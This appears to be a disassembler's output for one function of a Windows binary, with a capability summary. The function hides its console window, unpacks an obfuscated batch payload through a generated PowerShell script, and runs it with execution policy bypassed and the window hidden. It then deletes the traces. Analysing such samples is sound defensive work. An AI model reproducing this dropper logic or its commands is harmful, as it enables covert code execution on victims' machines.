Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d65f2140
mov ecx, 0x43b3f
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.start__min__b_cmd__c__set___rem_r_nset__WXVmUGdNsIDqlUeIDqlUtIDqlU_UIDqlUUNEIDqlUYQIDqlUIDqlU1IDqlU_IDqlUIDqlU_stIDqlUaIDqlUrIDqlUt_IDqlU__IDqlU__IDqlUmiIDqlUn_IDqlU__r_nset__RUx4YUJt_IDqlUexiIDqlUtIDqlU__r_nset__T3lORERhnoIDqlUt_IDqlUdeIDqlUfiIDqlUnIDqlUedIDqlU_UUIDqlUNIDqlUEYQIDqlUIDqlUIDqlU_r_nif__T3lORERh:IDqlU____WXVmUGdN:IDqlU__0__RUx4YUJt:IDqlU___r_n::f4VxuOBVsykaCRGmH2hjZFSFX8cVaV_TazuP5e4BlhZGTOk5Uc6Fx97U9zTTUrT4HZfRhuaWHNz4J3VYBvVgrUBJnoENUXRZC1cA4o5IMwM3VDRykodGUW6TAdG3M0_3r93jdLo2TQWKuvuZuCijKLnRhIEwW0iuHTHQ8yJxUirwADT14f47pUDDCTuqTBUXpSDLF4qBuMwSZCFdh8AjxlMOuPfihu9r0mBpatOJyPRpSTNXUDq9SFV1_MgARUB7tTKMytOOHfyH4hr4gR4j0o8fgKCkyX9R8Lz59aZaCB0fSxKagZDqRzcIPUfU8Wg1PYrzNkaU9r_KuMx5VZESzitaO2J1BhyiQ3WxFkZkROnQoH1mlquVC7LAXUn791IiUzNqIlDtAo1PWGUA0zv6VJlz0ceFN8t7rYNAUe6_tnn0l3sk2EjtD0qtiJkb4KgekBOdkCF4n6pyvykZiYgOUMBxhtEcqvlQr7PzVb71rtRww6TH58oIUFHgQYEHK5C7MZFPUYG8_9AjMKWszJUW36ttQySBft9og9z9tu6mH4khvJGluYS4c6_cSwMjjdr4_Ld9_A_Ic29ZJAxWWzM2G5snrdy2qVjkSXzH09Dm3dBu6fbfw2d3rs8wN2y8nRFfLTaa6Y4_501Stb81BGRc69EYNmFSfK26nFFKz_KrZ0MTG0wLtWzK6WwSSrXYZ_ctJu3RtE0l99g6UCMh9H9VGgeZzuzV4OqKAhCmejj5i84wE746YgsIm8BmzCMeLYVle9hrp5DYmwr1msHbRPxQSwOTYWFmcn3MVgdd8Mj06dVXgCbzUa37vKvDG3thJI7PVzvV2BDTH6Je1m_NDuI55b7KXv69ieyCJahlD2uT92wNxLo2V8uP_bGVhkvVe_xlK7Nk6_1NZ88dHWYXdP6I8ze3zSOR2yhKnC4_q0C8R0yFh4Py0uRWUQXH_zOTIzVKyYzkWl5N_qrGuxLcZtTlwBTGLGIT8grJbo79aIfmb88DsWikWQLbeiizU8S0Gq2h2vUF5SzopGkDaCCZsLpCgs1S_wzCxieOtkFF5Cp46PFpcpiCBeMDw2Gpq53XCWk5q1HdUAmrUnM_1zFcIoaYQ1y3lVx6EZS7lPW4QsD_jZserDSRHqwREWnlB7AzpjgBT7oBybzDYcyUejVTrh1YVeCWF6supNRnK6MfHfS5lF9Ga9B4qMWFFQ14SmqllGDUQ547HtgzP2lK0kl83Z7_OIG9U8NIL_DRaZsAh6cpSkNH7hxjcup1_mRbifvB2K2Y1xs25w3Yr2SitfuW9u4hsFuEqz3pyiSqAbB0xrgHmN9WCARankD3EoMipWY4Sz7XoihVhYq6s4qgaFA7LpHEhKquxskezIExWnW_ALdFvQSpdcFi_Y5S5CEXSOb6dqmjLtg9t9tdzZCaFqpefK8m5FP9LcyJfneaiyNzdtIFCq6yMi4v0RbIrSwG8xHytw1Xce4tdJCU7eF7ebRBfxVJqskL51XrS6Iw0jorFFV93jeOzVUdB9PWk6VFMfDaOBLQ1ISpxssh_Wwn7BIoVvBArSAClDQtT9WPa5MJKL3fQ7svja2VGfkhuyjAlXbQ0YPsEVI0QfT_It8Ip_9XjRr12q3wFFweEMzWDbjNUY2_JQD_60FaN0YyuwegmlyyrmDndxKMBnKb6Vr7qMUamlZYG7vQgm4KuTX36vI1cIYYW0UToucYSxQOH_jjG8m4V7BpLMbldPt0lB4Z0gy_pxOcOOSIfCJuWPQZKoREwkpgIuEQi0a5qXlrWIhrHlD1mowkD2pygVYL5V_6OLMyXymCTYlrIkfIksAIiTnf5wPMwV9K3H4_ii2B0xTdXi6T2aH6428mDHN09o4YYvOCQ_jcNatmGrMeXPHyD61bAGWskVoJ_tUesS5nyxSM0V81fTXgz6dTmMwwFMr8376q3QSExlfxTpecONM8ACGu959C4amLFnf_4uhGD769TSroH9RwWwINAN6ZCqIneLVBMiYkjKHQo1_J2ejfMCWotBuQu7psWiwO_Ta_TMfayfDkn6Nn56l7gBQRZ3vrVqzvAXlbXAtffaoG_eF2xHpIXHruhr6CFInq7nYwvtnmWc_EG44cjTtCEnFu_oqDLRjEPh6l5CHcH6HaLz3HyHb5rCpeQM9AzqCtQcnJ8I2LtrPieDG42nYH5RzjCmvawrcid0ywHMGaoyRB48VTTs9ycYKYvMjVknYdoVXMlX9_WNyS9Tdh5aveNw8AyPJ1_6cFD5LbRLILfXbCooj3UdDymPivMcCjnNUL18P0Me5iNxbmsLJjFJBsm7yYg36sjaS6a3GaJtqrY_RTzroh0w3R_5PjNTTqVGZ3bsC7l89JLbJWmTReD2y9QzCZeZQWYP7G1bXtQ6vwJwTmZsxCehLAx7EE6OnyY8SUqFwqWde7TBXSozjhHF6Wp5ESjzH1Bisf8xcl5YZ9bA4UgyGnCa5JoBL73umxaLCpS4ldbUXlOaI609s1sXWOjx6H3g_8NaSniQzBg_IfDxboxe4g_YgMqNP8MH9ZENHlWQFuv6rfhcrrWKJVxecgWGniIuXPit5jXAM5_ir5JMK61qr4KzmGSGGk_ZwEeVlDga6FsKfJOAhb5K1HqUgw9T0AD9XEDXagnxzHV1G1q9xpJLlFbIAZlWZD4_jxOvGvJwlK3mH3LFmeMfxaDqBCo0mBqBynmvAQhaniOCq5xdfLVbLSxa_YkfX9W4MNVp3l2Sln2Zy9mzYLjEQaztaclvBdNyku5xqAqh7yvbqy5eQru3cM6q3ArKeVgFC9vwR663lyI73TQhjvq7VzGKb9_F_4suD6WfkD6SRgaAc4flr9Cm2uHufzNLqsX1zZ3ugFKK7KbGdI3T29VN6awi_utXb9jAedDeK_oGlRRxD28b2ya_JhfSz7lcuAcXHf6uOUADXFKQi6QNvN0Rt9n2TfE4IfOGKsj28VeR49lL_7B4lzqsNH1R40FLwBV55V4w77Oq3RJEHsdG75Djm5vqGJ1g9moZGldaakPrIuf0P4YKEDOeAeBDsZtroCfJuP6ENN20qQVG0s6UrRCD7EIbzIXPBqxznV9VZAXEzqubj1XyiaL4YoqhNIZtY5hXkmh0yFK_gKL3spcIaOnqsAjemusR6nBhI0ABrA3mpWtjczessLEIsxDClPm9r8zneRTdMpRGQIwz6QZBbz42nuPxx_4nDWEXNIpT0ubWb6pS4kBJIdctCusOpqZYSxzvv9OV0A3FQZAlR8I70OPsQNJvyLZEaukzApQaVzgksPa8HqFSdaX_pQlihWmXihqeAoWP8pwBNam2uVTIANBBbaQcPi0BetJG162juYaZMu6b_yq7sLVflIFPciJkvjKnpwsSpZs0yxXdBi2X4lM5525oEAXkPqSI0p9cUjBsFOB1iuG19gOmN0Rrt_dZ_E77itXqgkKt6PxKOVl2aMJt5DFkwOhyhFT7cCzbKREE7IzniUmV3EetlVka13HggcerF1xXZqHIjNotnfZ10diuB8D67BsvBVZXto5ZALad7d122lKSqgvhziiRWv6i6APdfHnci7rzGxTEnIg_pLEQ5lT6Xe4WKxd6D7QPk8hPhWpkEIoblzhkSuVUcX6vg3zPa2IAYdAubse8HA
mov edx, 0x43b3f
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call sym.std::ostream::operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call sym.std::ostream::operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x43b3e
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d6639bcd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call sym.std::_V2::generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [0x1d6639fa0]
lea rax, sym.imp.libstdc_6.dll_operator_delete___void_
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d65f2118
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret